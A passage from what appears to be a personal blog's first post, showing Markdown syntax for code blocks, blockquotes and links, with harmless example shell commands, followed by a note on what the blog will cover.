cd /home/user
```

Result

echo "Hello, World!"
ls -la
cd /home/user

Quotes

How to Write

> This is a blockquote.
> It can span multiple lines.

Result

This is a blockquote. It can span multiple lines.

Links

How to Write

[Visit Next.js](https://nextjs.org)

Result

Visit Next.js

Summary

Markdown is a simple yet powerful markup language!

This blog is a space where I’ll share my thoughts, experiences, and things I learn along the way while working with technology.

What You’ll Find Here

• Technical writing on web development and software engineering
• Personal perspectives on technology and learning
• Occasional experiments, ideas, and reflections

Thanks for being here. Stay tuned for more content! 👻